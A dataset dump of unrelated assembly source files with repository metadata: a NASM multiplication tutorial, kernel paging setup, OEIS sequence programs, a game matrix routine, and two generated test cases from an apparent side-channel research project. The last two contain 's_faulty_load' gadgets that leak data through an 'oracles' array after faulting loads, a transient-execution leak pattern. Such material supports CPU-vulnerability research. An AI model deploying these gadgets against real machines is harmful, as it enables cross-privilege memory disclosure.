reference/lab1/assembly/examples/ms/math.asm
|
Leser2020/6.828
|
08fe8f9c38b9c07111e7fdff5bbb785a4d74f917
|
[
"MIT"
] | null | null | null |
reference/lab1/assembly/examples/ms/math.asm
|
Leser2020/6.828
|
08fe8f9c38b9c07111e7fdff5bbb785a4d74f917
|
[
"MIT"
] | null | null | null |
reference/lab1/assembly/examples/ms/math.asm
|
Leser2020/6.828
|
08fe8f9c38b9c07111e7fdff5bbb785a4d74f917
|
[
"MIT"
] | null | null | null |
;
; file: math.asm
; This program demonstrates how the integer multiplication and division
; instructions work.
;
; To create executable:
; nasm -f coff math.asm
; gcc -o math math.o driver.c asm_io.o
%include "asm_io.inc"
segment .data
;
; Output strings
;
prompt db "Enter a number: ", 0
square_msg db "Square of input is ", 0
cube_msg db "Cube of input is ", 0
cube25_msg db "Cube of input times 25 is ", 0
quot_msg db "Quotient of cube/100 is ", 0
rem_msg db "Remainder of cube/100 is ", 0
neg_msg db "The negation of the remainder is ", 0
segment .bss
input resd 1
segment .text
global _asm_main
_asm_main:
enter 0,0 ; setup routine
pusha
mov eax, prompt
call print_string
call read_int
mov [input], eax
imul eax ; edx:eax = eax * eax
mov ebx, eax ; save answer in ebx
mov eax, square_msg
call print_string
mov eax, ebx
call print_int
call print_nl
mov ebx, eax
imul ebx, [input] ; ebx *= [input]
mov eax, cube_msg
call print_string
mov eax, ebx
call print_int
call print_nl
imul ecx, ebx, 25 ; ecx = ebx*25
mov eax, cube25_msg
call print_string
mov eax, ecx
call print_int
call print_nl
mov eax, ebx
cdq ; initialize edx by sign extension
mov ecx, 100 ; can't divide by immediate value
idiv ecx ; edx:eax / ecx
mov ecx, eax ; save quotient into ecx
mov eax, quot_msg
call print_string
mov eax, ecx
call print_int
call print_nl
mov eax, rem_msg
call print_string
mov eax, edx
call print_int
call print_nl
neg edx ; negate the remainder
mov eax, neg_msg
call print_string
mov eax, edx
call print_int
call print_nl
popa
mov eax, 0 ; return back to C
leave
ret
| 24.346939
| 71
| 0.492456
|
3c0c2485d1eb8e742689e767a4df0125a7581942
| 2,158
|
asm
|
Assembly
|
source/boot/paging.asm
|
kaiserschmarrn0/takao
|
3fe5340d6dd1681a94297bab7f1018f3b697dea1
|
[
"Zlib"
] | null | null | null |
source/boot/paging.asm
|
kaiserschmarrn0/takao
|
3fe5340d6dd1681a94297bab7f1018f3b697dea1
|
[
"Zlib"
] | null | null | null |
source/boot/paging.asm
|
kaiserschmarrn0/takao
|
3fe5340d6dd1681a94297bab7f1018f3b697dea1
|
[
"Zlib"
] | null | null | null |
%include "source/boot/constants.asm"
[bits 32]
section .bss
align 4096
pagemap:
.pml4:
resb 4096
.pdptLow:
resb 4096
.pdptHigh:
resb 4096
.pd:
resb 4096
.pt:
resb 4096 * 16 ; 16 page tables == 32 MiB mapped
.end:
section .text
global enablePaging:function (enablePaging.end - enablePaging)
enablePaging:
; Zero out page tables
xor eax, eax
mov edi, pagemap - kernelPhysicalOffset
mov ecx, (pagemap.end - pagemap) / 4
rep stosd
; Set up page tables
mov eax, 0x03
mov edi, pagemap.pt - kernelPhysicalOffset
mov ecx, 512 * 16
.loop0:
stosd
push eax
xor eax, eax
stosd
pop eax
add eax, 0x1000
loop .loop0
; set up page directories
mov eax, pagemap.pt - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pd - kernelPhysicalOffset
mov ecx, 16
.loop1:
stosd
push eax
xor eax, eax
stosd
pop eax
add eax, 0x1000
loop .loop1
; set up pdpt
mov eax, pagemap.pd - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pdptLow - kernelPhysicalOffset
stosd
xor eax, eax
stosd
mov eax, pagemap.pd - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pdptHigh - kernelPhysicalOffset + 511 * 8
stosd
xor eax, eax
stosd
; set up pml4
mov eax, pagemap.pdptLow - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pml4 - kernelPhysicalOffset
stosd
xor eax, eax
stosd
mov eax, pagemap.pdptLow - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pml4 - kernelPhysicalOffset + 256 * 8
stosd
xor eax, eax
stosd
mov eax, pagemap.pdptHigh - kernelPhysicalOffset
or eax, 0x03
mov edi, pagemap.pml4 - kernelPhysicalOffset + 511 * 8
stosd
xor eax, eax
stosd
; Before enabling paging, we will enable the Physical address extention
; (aka PAE)
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; And now, with PAE enabled we can finally enable paging in all its glory.
mov eax, pagemap - kernelPhysicalOffset
mov cr3, eax
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
ret
.end:
| 19.097345
| 78
| 0.642725
|
c7da8909f94505cc7cda44087c1cd4163b8369fd
| 738
|
asm
|
Assembly
|
programs/oeis/151/A151781.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/151/A151781.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/151/A151781.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A151781: Partial sums of A151779.
; 1,7,13,43,49,79,109,259,265,295,325,475,505,655,805,1555,1561,1591,1621,1771,1801,1951,2101,2851,2881,3031,3181,3931,4081,4831,5581,9331,9337,9367,9397,9547,9577,9727,9877,10627,10657,10807,10957,11707,11857,12607,13357,17107,17137,17287,17437,18187,18337,19087,19837,23587,23737,24487,25237,28987,29737,33487,37237,55987,55993,56023,56053,56203,56233,56383,56533,57283,57313,57463,57613,58363,58513,59263,60013,63763,63793,63943,64093,64843,64993,65743,66493,70243,70393,71143,71893,75643,76393,80143,83893,102643,102673,102823,102973,103723
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
seq $0,151779 ; a(1)=1; for n > 1, a(n)=6*5^{wt(n-1)-1}.
add $1,$0
lpe
mov $0,$1
| 49.2
| 544
| 0.737127
|
53b2eaa5d2e44350cce90200d40d1fb2b349ab53
| 993
|
asm
|
Assembly
|
Universe/Archive/SunInverseXX16.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 9
|
2021-09-29T22:08:15.000Z
|
2022-03-23T05:35:43.000Z
|
Universe/Archive/SunInverseXX16.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 1
|
2022-01-21T12:35:42.000Z
|
2022-01-21T17:47:24.000Z
|
Universe/Archive/SunInverseXX16.asm
|
ped7g/EliteNext
|
6e930f9b9924b295d7281ee6acb879600d7e597f
|
[
"Unlicense"
] | 1
|
2022-01-15T10:13:49.000Z
|
2022-01-15T10:13:49.000Z
|
InverseSXX16: ; lead routine into .LL42 \ -> &4B04 \ DO nodeX-Ycoords their comment \ TrnspMat
ld hl,(SBnKTransmatSidevX) ;
ld de,(SBnKTransmatRoofvX) ;
ld bc,(SBnKTransmatNosevX) ;
ld (SBnKTransInvRow0x0),hl ;
ld (SBnKTransInvRow0x1),de ;
ld (SBnKTransInvRow0x2),bc ;
ld hl,(SBnKTransmatSidevY) ;
ld de,(SBnKTransmatRoofvY) ;
ld bc,(SBnKTransmatNosevY) ;
ld (SBnKTransInvRow1y0),hl ;
ld (SBnKTransInvRow1y1),de ;
ld (SBnKTransInvRow1y2),bc ;
ld hl,(SBnKTransmatSidevZ) ;
ld de,(SBnKTransmatRoofvZ) ;
ld bc,(SBnKTransmatNosevZ) ;
ld (SBnKTransInvRow2z0),hl ;
ld (SBnKTransInvRow2z1),de ;
ld (SBnKTransInvRow2z2),bc ;
ret
| 43.173913
| 104
| 0.471299
|
2b9f0f531349db3c5365f79e26e2caf1265b1a78
| 7,639
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1669_647.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1669_647.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_1669_647.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x12a13, %rdi
nop
nop
dec %r12
mov (%rdi), %r11
nop
nop
nop
nop
sub %rax, %rax
lea addresses_normal_ht+0x18b0b, %rsi
nop
and $63031, %r12
movl $0x61626364, (%rsi)
nop
nop
nop
mfence
lea addresses_normal_ht+0xf353, %r11
nop
sub %r9, %r9
movb $0x61, (%r11)
nop
nop
nop
nop
mfence
lea addresses_D_ht+0x1ca53, %rax
dec %rdi
movl $0x61626364, (%rax)
nop
nop
nop
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0x853, %rsi
lea addresses_WC_ht+0x1b087, %rdi
nop
and $11710, %rax
mov $40, %rcx
rep movsw
nop
and %rdi, %rdi
lea addresses_D_ht+0x2893, %rax
cmp %r11, %r11
mov (%rax), %r9d
nop
nop
nop
add $28661, %r9
lea addresses_normal_ht+0x2c13, %rdi
nop
nop
nop
nop
nop
and $24631, %r12
vmovups (%rdi), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $0, %xmm7, %rcx
nop
dec %r12
lea addresses_WT_ht+0x1dc53, %r12
clflush (%r12)
nop
nop
nop
add %rcx, %rcx
mov (%r12), %esi
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0xe807, %r11
nop
nop
sub $49578, %rcx
movups (%r11), %xmm2
vpextrq $1, %xmm2, %r8
nop
nop
nop
xor $41217, %r9
lea addresses_normal_ht+0x6d3, %rax
clflush (%rax)
xor $30737, %r9
mov (%rax), %r8d
nop
nop
nop
nop
nop
dec %r11
lea addresses_UC_ht+0x19853, %rsi
nop
cmp %r9, %r9
mov $0x6162636465666768, %rax
movq %rax, %xmm7
movups %xmm7, (%rsi)
nop
nop
nop
nop
xor $6208, %rax
lea addresses_D_ht+0x2053, %rsi
lea addresses_WC_ht+0x1589, %rdi
nop
nop
nop
inc %r9
mov $127, %rcx
rep movsb
nop
nop
and $46093, %r8
lea addresses_A_ht+0x17953, %rsi
lea addresses_WT_ht+0x1453, %rdi
nop
nop
inc %r11
mov $95, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $61361, %r12
lea addresses_WT_ht+0xccd3, %rdi
nop
nop
nop
sub %r9, %r9
mov (%rdi), %ecx
nop
nop
cmp %r8, %r8
lea addresses_D_ht+0x15053, %rsi
lea addresses_WT_ht+0xe853, %rdi
nop
nop
dec %r9
mov $74, %rcx
rep movsq
nop
nop
nop
dec %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rbp
push %rdx
// Faulty Load
lea addresses_PSE+0x13453, %rbp
nop
nop
nop
nop
nop
add $56874, %rdx
mov (%rbp), %r9d
lea oracles, %r15
and $0xff, %r9
shlq $12, %r9
mov (%r15,%r9,1), %r9
pop %rdx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'33': 1669}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 33.951111
| 2,999
| 0.657023
|
066be032498b2a2bc98e61c6d1aa04b3c030a4d0
| 228
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_reserve_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_reserve_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/adt/b_vector/c/sccz80/b_vector_reserve_callee.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; int b_vector_reserve(b_vector_t *v, size_t n)
SECTION code_adt_b_vector
PUBLIC b_vector_reserve_callee
b_vector_reserve_callee:
pop hl
pop bc
ex (sp),hl
INCLUDE "adt/b_vector/z80/asm_b_vector_reserve.asm"
| 15.2
| 54
| 0.758772
|
e682d0c6d18a4c569ce32ef53e85960164d1366b
| 651
|
asm
|
Assembly
|
oeis/041/A041371.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/041/A041371.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/041/A041371.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A041371: Denominators of continued fraction convergents to sqrt(200).
; 1,7,197,1386,39005,274421,7722793,54333972,1529074009,10757852035,302748930989,2130000368958,59942759261813,421729315201649,11868363584907985,83500274409557544,2349876047052519217,16532632603777192063,465263588952813896981,3273377755273474470930,92119840736610099083021,648112262911544168052077,18239263202259846804541177,128322954678730471799840316,3611281994206713057200070025,25407296914125721872200330491,715015595589726925478809323773,5030516466042214200223865596902
seq $0,41085 ; Denominators of continued fraction convergents to sqrt(50).
mov $1,$0
dif $1,2
mov $0,$1
| 81.375
| 473
| 0.884793
|
9d225a80c1fd330e84dc7c704911f39c72142961
| 1,298
|
asm
|
Assembly
|
programs/oeis/114/A114121.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/114/A114121.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/114/A114121.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A114121: Expansion of (sqrt(1 - 4*x) + (1 - 2*x))/(2*(1 - 4*x)).
; 1,2,7,26,99,382,1486,5812,22819,89846,354522,1401292,5546382,21977516,87167164,345994216,1374282019,5461770406,21717436834,86392108636,343801171354,1368640564996,5450095992964,21708901408216,86492546019214,344680279929532,1373859173316676,5477069340194552,21838743809862204,87091227287698456,347362666934142456,1385635681234477520,5527998088898683171,22056458290717684486,88013497032458494834,351241044087684248572,1401847890855829693026,5595431765037458318612,22335776255825211532084,89166371160513839426936,355985059270325381907354,1421318110039025035520596,5675158521564462243948364,22661589656345944531834216,90495505146178692775676164,361398720465121774409616616,1443337764006409849565212744,5764610727314106224870804656,23024574135499233852596789134,91966968643754766044909164636,367358322329839447041582049972,1467455027661601627512704425432,5862135324975892193665586885572,23418672132957796148712205124776,93558530660375402160598266653224,373782162923473655170945457103472,1493369237077285801812789348537916,5966624491381298333753607735687352,23839797012668418483110185721836744,95255099590384551628407244568534896,380614453366410629527898334830772472
mov $1,$0
sub $1,1
add $0,$1
bin $0,$1
mov $2,4
pow $2,$1
add $0,$2
| 118
| 1,161
| 0.898305
|
212e06fda2ff37f2e29bf6da81af3e190335922c
| 5,437
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_2004.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_2004.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_2004.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1442, %rsi
lea addresses_WC_ht+0x1ec52, %rdi
nop
add $63703, %r13
mov $30, %rcx
rep movsq
nop
nop
nop
nop
nop
sub $19263, %rbx
lea addresses_A_ht+0xd4f2, %r13
nop
nop
sub $49135, %r12
movups (%r13), %xmm3
vpextrq $1, %xmm3, %rcx
nop
sub %rdi, %rdi
lea addresses_A_ht+0x6af2, %rcx
nop
nop
sub $29956, %r9
movups (%rcx), %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
nop
and $1965, %r13
lea addresses_UC_ht+0x7ef2, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov (%rdi), %rbx
nop
nop
nop
nop
nop
add $64825, %rdi
lea addresses_D_ht+0xa892, %r12
and %rdi, %rdi
mov $0x6162636465666768, %rbx
movq %rbx, %xmm4
movups %xmm4, (%r12)
nop
sub $54285, %r9
lea addresses_normal_ht+0xfef2, %rsi
lea addresses_A_ht+0x182f2, %rdi
add %r15, %r15
mov $67, %rcx
rep movsq
nop
nop
nop
dec %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r9
push %rbx
push %rdi
push %rdx
// Faulty Load
mov $0x39848700000002f2, %r9
nop
nop
xor $8830, %rdi
mov (%r9), %bx
lea oracles, %rdi
and $0xff, %rbx
shlq $12, %rbx
mov (%rdi,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 9}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': True, 'congruent': 10}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 